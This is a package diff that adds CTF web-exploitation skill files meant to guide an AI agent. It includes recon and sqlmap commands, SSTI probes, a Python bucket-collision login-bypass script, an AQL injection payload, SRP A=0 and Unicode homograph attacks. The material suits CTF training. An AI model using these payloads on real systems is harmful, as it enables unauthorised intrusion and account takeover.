ctf-agent 1.2.0

package/skills/ctf-web/SKILL.md

@@ -0,0 +1,153 @@
+---
+name: ctf-web
+description: Provides web vulnerability assessment and proof-of-concept verification for CTF challenges and educational labs. Use when evaluating HTTP applications, APIs, client scripts, template engines, authentication flows, or smart-contract interfaces, including XSS, SQLi, SSTI, SSRF, XXE, JWT verification, access control evaluation, upload validation, request smuggling, and prototype pollution in sandboxed environments. Do not use it for native binary memory corruption, reverse engineering of standalone executables, or disk forensics.
+license: MIT
+compatibility: Requires filesystem-based agent (Claude Code or similar) with bash, Python 3, and internet access for tool installation.
+allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch
+metadata:
+  user-invocable: "false"
+---
+
+# CTF Web Exploitation
+
+Use this skill as a routing and execution guide for web-heavy challenges. Keep the first pass short: map the app, confirm the trust boundary, and only then dive into the detailed technique notes.
+
+## Prerequisites & Tooling
+
+Pre-installed via [scripts/install_ctf_tools.sh](../../scripts/install_ctf_tools.sh):
+- **Python packages**: `sqlmap`, `flask-unsign`, `requests` (in `~/.ctf-tools/venv`)
+- **System tools**: `curl`, `jq`, `hashcat`, `ffuf`
+- **Manual tools**: `ysoserial` (Java deserialization payloads)
+
+## Execution Environment & Tool Invocation
+
+- **On Windows (WSL Kali Linux)**:
+  - Run Linux tools and virtualenv-installed Python modules directly inside WSL:
+    ```bash
+    wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && <command>"
+    ```
+  - For web fuzzing and SQL injection:
+    ```bash
+    wsl -d kali-linux bash -c "ffuf -u http://target/FUZZ -w wordlist.txt"
+    wsl -d kali-linux bash -c "source ~/.ctf-tools/venv/bin/activate && sqlmap -u 'http://target/page?id=1' --batch"
+    ```
+- **On Native Linux / WSL**:
+  - Activate the CTF virtualenv before executing Python exploits:
+    ```bash
+    source ~/.ctf-tools/venv/bin/activate
+    ```
+  - System binaries (`curl`, `ffuf`, `jq`, `sqlmap`, `hashcat`) are directly available in PATH.
+
+## Additional Resources
+
+- [sql-injection.md](sql-injection.md) - SQL injection techniques: auth bypass, UNION extraction, filter bypasses, second-order SQLi, truncation, race-assisted leaks, INSERT ON DUPLICATE KEY UPDATE password overwrite, innodb_table_stats WAF bypass
+- [server-side.md](server-side.md) - PHP type juggling, php://filter LFI, Python str.format traversal, SSTI (Jinja2, Twig, ERB, Mako, EJS, Vue.js, Smarty), SSRF (Host header, DNS rebinding, curl redirect, unescaped-dot regex, SNI FTP smuggling, mod_vhost_alias), PHP hash_hmac NULL
+- [server-side-2.md](server-side-2.md) - XXE (basic, OOB, DOCX upload), XML injection via X-Forwarded-For, PHP variable variables, PHP uniqid predictable filename, sequential regex replacement bypass, command injection (newline, blocklist, sendmail CGI, multi-barcode, git CLI), GraphQL injection (introspection, batching, interpolation)
+- [server-side-exec.md](server-side-exec.md) - Direct code execution paths, upload-to-RCE, deserialization-adjacent execution, LaTeX injection, header and API abuses
+- [server-side-exec-2.md](server-side-exec-2.md) - More execution chains: SQLi fragmentation, path parser tricks, polyglot uploads, wrapper abuse, filename injection, BMP pixel webshell with filename truncation
+- [server-side-deser.md](server-side-deser.md) - Java/Python/PHP deserialization and race-condition playbooks, PHP SoapClient CRLF SSRF via deserialization
+- [server-side-advanced.md](server-side-advanced.md) - Advanced SSRF, traversal, archive, parser, framework, and modern app-server issues, Nginx alias traversal
+- [server-side-advanced-2.md](server-side-advanced-2.md) - Docker API SSRF, Castor/XML, Apache expression reads, parser discrepancies, Windows path tricks, rogue MySQL server file read
+- [server-side-advanced-3.md](server-side-advanced-3.md) - Part 3 (CSAW/35C3/ASIS/PlaidCTF 2018): WAV polyglot upload, multi-slash URL `path.startswith` bypass, Xalan XSLT `math:random()` seed guess, SoapClient `_user_agent` CRLF method smuggling, `gopher:///` no-host URL scheme bypass, SSRF credential leak via attacker-specified outbound URL
+- [server-side-advanced-4.md](server-side-advanced-4.md) - Part 4: WeasyPrint SSRF/file read (CVE-2024-28184), MongoDB regex/$where blind oracle, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, wget CRLF SSRF→SMTP, Gopher SSRF to MySQL blind SQLi, React Server Components Flight RCE (CVE-2025-55182), AMQP/TLS interception via sslsplit+arpspoof, CairoSVG XXE, Bazaar repo reconstruction
+- [client-side.md](client-side.md) - XSS, CSRF, cache poisoning, DOM tricks, admin bot abuse, request smuggling, paywall bypass
+- [client-side-advanced.md](client-side-advanced.md) - CSP bypasses, Unicode tricks, XSSI, CSS exfiltration, browser normalization quirks, postMessage null origin bypass
+- [auth-and-access.md](auth-and-access.md) - Auth/authz bypasses, hidden endpoints, IDOR, redirect chains, subdomain takeover, AI chatbot jailbreaks
+- [auth-and-access-2.md](auth-and-access-2.md) - Part 2 (2018-era): `std::unordered_set` bucket collision auth bypass, `nodeprep.prepare` Unicode homograph username collision, SRP A=0/A=N auth bypass, ArangoDB AQL MERGE privilege escalation
+- [auth-jwt.md](auth-jwt.md) - JWT/JWE manipulation, weak secrets, header injection, key confusion, replay
+- [auth-infra.md](auth-infra.md) - OAuth/OIDC, SAML, CORS, CI/CD secrets, IdP abuse, login poisoning
+- [node-and-prototype.md](node-and-prototype.md) - Prototype pollution, JS sandbox escape, Node.js attack chains
+- [web3.md](web3.md) - Solidity and Web3 challenge notes
+- [cves.md](cves.md) - CVE-driven techniques you can match against challenge banners, headers, dependency leaks, or version strings
+- [field-notes.md](field-notes.md) - Long-form exploit notes: quick references for SQLi, XSS, LFI, JWT, SSTI, SSRF, command injection, XXE, deserialization, race conditions, auth bypass, and multi-stage chains
+
+## When to Pivot
+
+- If the target is a native binary, custom VM, or firmware image, switch to `/ctf-reverse` first.
+- If the HTTP bug only gives you code execution and the hard part becomes memory corruption or seccomp escape, switch to `/ctf-pwn`.
+- If the "web" challenge really turns on JWT math, custom MACs, or crypto primitives, switch to `/ctf-crypto`.
+- If the web challenge involves analyzing logs, PCAPs, or recovering artifacts from a web server, switch to `/ctf-forensics`.
+- If the challenge requires gathering intelligence from public web sources, DNS records, or social media before exploitation, switch to `/ctf-osint`.
+
+## First-Pass Workflow
+
+1. Identify the real boundary: browser only, backend only, mixed app, or auth flow.
+2. Capture one normal request/response pair for every major feature before fuzzing.
+3. Enumerate hidden functionality from JS bundles, response headers, routes, and alternate methods.
+4. Classify the likely bug family: injection, authz, parser mismatch, upload, trust proxy, state machine, or client-side execution.
+5. Build the smallest proof first: leak, bypass, or primitive. Save full exploit chaining for later.
+
+## Quick Start Commands
+
+```bash
+# Recon
+curl -sI https://target.com
+ffuf -u https://target.com/FUZZ -w wordlist.txt
+curl -s https://target.com/robots.txt
+
+# SQLi quick test
+sqlmap -u "https://target.com/page?id=1" --batch --dbs
+
+# JWT decode (no verification)
+echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .
+
+# Cookie decode (Flask)
+flask-unsign --decode --cookie '<cookie>'
+flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt
+
+# SSTI probes
+curl "https://target.com/page?name={{7*7}}"
+curl "https://target.com/page?name={{config}}"
+
+# Request inspection
+curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'
+```
+
+## First Questions to Answer
+
+- Is the flag likely in the browser, an API response, a local file, a database row, or an internal service?
+- Does the app trust user-controlled data in templates, redirects, file paths, headers, serialized objects, or background jobs?
+- Are there multiple parsers disagreeing with each other: proxy vs app, URL parser vs fetcher, sanitizer vs browser, serializer vs filter?
+- Can you turn the bug into a smaller primitive first: read one file, forge one token, call one internal endpoint, trigger one bot visit?
+
+## High-Value Recon Checks
+
+- Read the HTML, inline scripts, and bundled JS before guessing the API surface.
+- Compare what the UI submits with what the backend accepts; optional JSON fields often unlock hidden paths.
+- Check obvious metadata and helper paths early: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/debug`, `/.git/`, `/.env`.
+- Try alternate verbs and content types on interesting routes: `GET`, `POST`, `PUT`, `PATCH`, `TRACE`, JSON, form, multipart, XML.
+- Treat file upload, PDF/export, webhook, OAuth callback, and admin bot features as likely exploit multipliers.
+
+## Fast Pattern Map
+
+- SQL errors, odd filtering, or state-dependent DB behavior: start with [sql-injection.md](sql-injection.md).
+- Templating, file reads, SSRF, command execution, XML, or parser bugs: start with [server-side.md](server-side.md) and [server-side-exec.md](server-side-exec.md).
+- XSS, CSP bypass, admin bot, client routing, DOM issues, or scriptless exfiltration: start with [client-side.md](client-side.md).
+- Session forgery, hidden admin routes, JWT, OAuth, SAML, or weak trust boundaries: start with [auth-and-access.md](auth-and-access.md), [auth-jwt.md](auth-jwt.md), and [auth-infra.md](auth-infra.md).
+- Node.js apps, prototype pollution, VM sandboxes, or SSRF into internal services: add [node-and-prototype.md](node-and-prototype.md).
+- Smart contract frontends or blockchain-integrated apps: add [web3.md](web3.md).
+
+## Common Chain Shapes
+
+- Recon -> hidden route -> auth bypass -> internal file read -> token or flag
+- XSS or HTML injection -> admin bot -> privileged action -> secret leak
+- Traversal or upload -> config/source leak -> secret recovery -> session forgery
+- SSRF -> metadata or internal API -> credential leak -> code execution
+- SQLi or NoSQL injection -> credential bypass -> second-stage template or upload abuse
+
+## Deep-Dive Notes
+
+Use [field-notes.md](field-notes.md) once you have confirmed the challenge is truly web-heavy and you need the long exploit catalog.
+
+- Recon, SQLi, XSS, traversal, JWT, SSTI, SSRF, XXE, and command injection quick notes
+- Deserialization, race conditions, file upload to RCE, and multi-stage chain examples
+- Node, OAuth/SAML, CI/CD, Web3, bot abuse, CSP bypasses, and modern browser tricks
+- CVE-shaped playbooks and older challenge patterns that still show up in modern CTFs
+
+## Common Flag Locations
+
+- Files: `/flag.txt`, `/flag`, `/app/flag.txt`, `/home/*/flag*`
+- Environment: `/proc/self/environ`, process command line, debug config dumps
+- Database: tables named `flag`, `flags`, `secret`, or seeded challenge content
+- HTTP: custom headers, archived responses, hidden routes, admin exports
+- Browser: hidden DOM nodes, `data-*` attributes, inline state objects, source maps

package/skills/ctf-web/auth-and-access-2.md

@@ -0,0 +1,82 @@
+# CTF Web - Auth & Access Control Attacks (Part 2)
+
+2018-era additions: bucket-collision hash auth bypass, Unicode username homograph collision, SRP A=0/A=N bypass, ArangoDB AQL MERGE privilege escalation. For foundational auth/access techniques see [auth-and-access.md](auth-and-access.md). For JWT attacks see [auth-jwt.md](auth-jwt.md). For OAuth/OIDC/SAML/CI-CD, see [auth-infra.md](auth-infra.md).
+
+## Table of Contents
+- [std::unordered_set Bucket Collision Auth Bypass (Hackover 2018)](#stdunordered_set-bucket-collision-auth-bypass-hackover-2018)
+- [nodeprep.prepare Homograph Username Collision (HCTF 2018)](#nodeprepprepare-homograph-username-collision-hctf-2018)
+- [SRP A=0, A=N Auth Bypass (OTW Advent 2018)](#srp-a0-an-auth-bypass-otw-advent-2018)
+- [ArangoDB AQL MERGE Injection for Privilege Escalation (P.W.N. CTF 2018)](#arangodb-aql-merge-injection-for-privilege-escalation-pwn-ctf-2018)
+
+---
+
+## std::unordered_set Bucket Collision Auth Bypass (Hackover 2018)
+
+**Pattern:** A C++ backend stores credential hashes in `std::unordered_set<std::string>`. The set's bucket index is derived from only the first bytes of a SHA-512 digest (truncated `size_t` hash). The lookup loop aborts early after a bounded number of bucket probes (`MAX_LOOKUPS = 1000`). Flood the set with 1000+ entries that all collide in the same bucket as the `root` account — the compare for the correct entry never executes and the call returns "found" on an attacker-chosen password.
+
+```cpp
+// Vulnerable shape
+std::unordered_set<std::string> users;
+auto it = users.find(login_key);           // probes at most MAX_LOOKUPS
+if (it != users.end()) { /* accepted */ }
+```
+
+```python
+# Flood registration: every entry collides in root's bucket
+import requests
+for i in range(1100):
+    requests.post("http://target/register",
+                  data={"name": f"ro{i:04d}", "password": "ot1"})
+# Log in as root with an arbitrary password — loop gives up before compare
+requests.post("http://target/login", data={"name": "root", "password": "anything"})
+```
+
+**Key insight:** Hash-table implementations that truncate digests into bucket indices expose a second-preimage surface: the attacker only has to match the bucket, not the full hash. When the data structure also has a bounded probe count (DoS guard), flooding the bucket turns an authentication check into an unconditional accept. Any `unordered_map`/`unordered_set` keyed on low-entropy derivations of user input is suspect — watch for `std::hash<std::string>` implementations that reduce to `size_t` via XOR-folding.
+
+**References:** Hackover CTF 2018 — secure-hash, writeup 11502
+
+---
+
+## nodeprep.prepare Homograph Username Collision (HCTF 2018)
+
+**Pattern:** Registration calls Node's `node-xmpp-server` `nodeprep.prepare(username)` which runs RFC-3491/Stringprep normalization. Unicode characters like `ᴬ` (U+1D2C Modifier Letter Capital A) normalize to ASCII `A`, then the existing user lookup finds the already-registered `admin`. Register `ᴬdmin` with any password, and the lookup returns the real admin row — set a new password via a password-reset flow.
+
+```text
+username: \u1D2Cdmin   # ᴬdmin
+nodeprep.prepare("ᴬdmin") == "admin"
+```
+
+**Key insight:** Any pipeline that (1) normalizes usernames before lookup but (2) stores the pre-normalized form separately is vulnerable. Normalize once at write-time and never accept users whose pre-normalized form collides with an existing row. Libraries to audit: `nodeprep`, `icu.normalize`, `unicodedata.normalize`, `golang.org/x/text/secure/precis`.
+
+**References:** HCTF 2018 — admin, writeup 12132
+
+---
+
+## SRP A=0, A=N Auth Bypass (OTW Advent 2018)
+
+**Pattern:** SRP (Secure Remote Password) implementations that do not validate `A % N != 0` allow the client to send `A = 0` (or `A = k*N`). The server computes `S = (A * v^u)^b mod N = 0`, so the session key is `H(0)` — known to the attacker. Bypass login without knowing the password.
+
+```text
+Client: sends A = 0
+Server: computes S = 0
+Session key: K = H(0)   # attacker knows this
+```
+
+**Key insight:** SRP, DH, and similar group-based protocols need explicit validation that public values are nontrivial. Spec-compliant SRP rejects `A % N == 0`; buggy implementations don't. Same attack works for `A = N, 2N, ...`.
+
+**References:** OverTheWire Advent Bonanza 2018 — writeup 12750
+
+---
+
+## ArangoDB AQL MERGE Injection for Privilege Escalation (P.W.N. CTF 2018)
+
+**Pattern:** ArangoDB's AQL query language accepts user-supplied fragments that are concatenated into `FILTER` clauses. Inject `' || 1 == 1 LET newitem = MERGE(u, {'role':'admin'}) RETURN newitem //` to turn a login check into an in-memory role upgrade — the server returns the modified user object without touching the real record.
+
+```text
+username: x' || 1 == 1 LET newitem = MERGE(u, {'role':'admin'}) RETURN newitem //
+password: anything
+```
+
+**Key insight:** NoSQL databases each have their own injection grammar. AQL's `MERGE` creates a new document inheriting the found record's fields, bypassing any ACL that only checks persistent storage. Always use parameterised bind variables.
+
+**References:** P.W.N. CTF 2018 — H!pster Startup, writeup 12067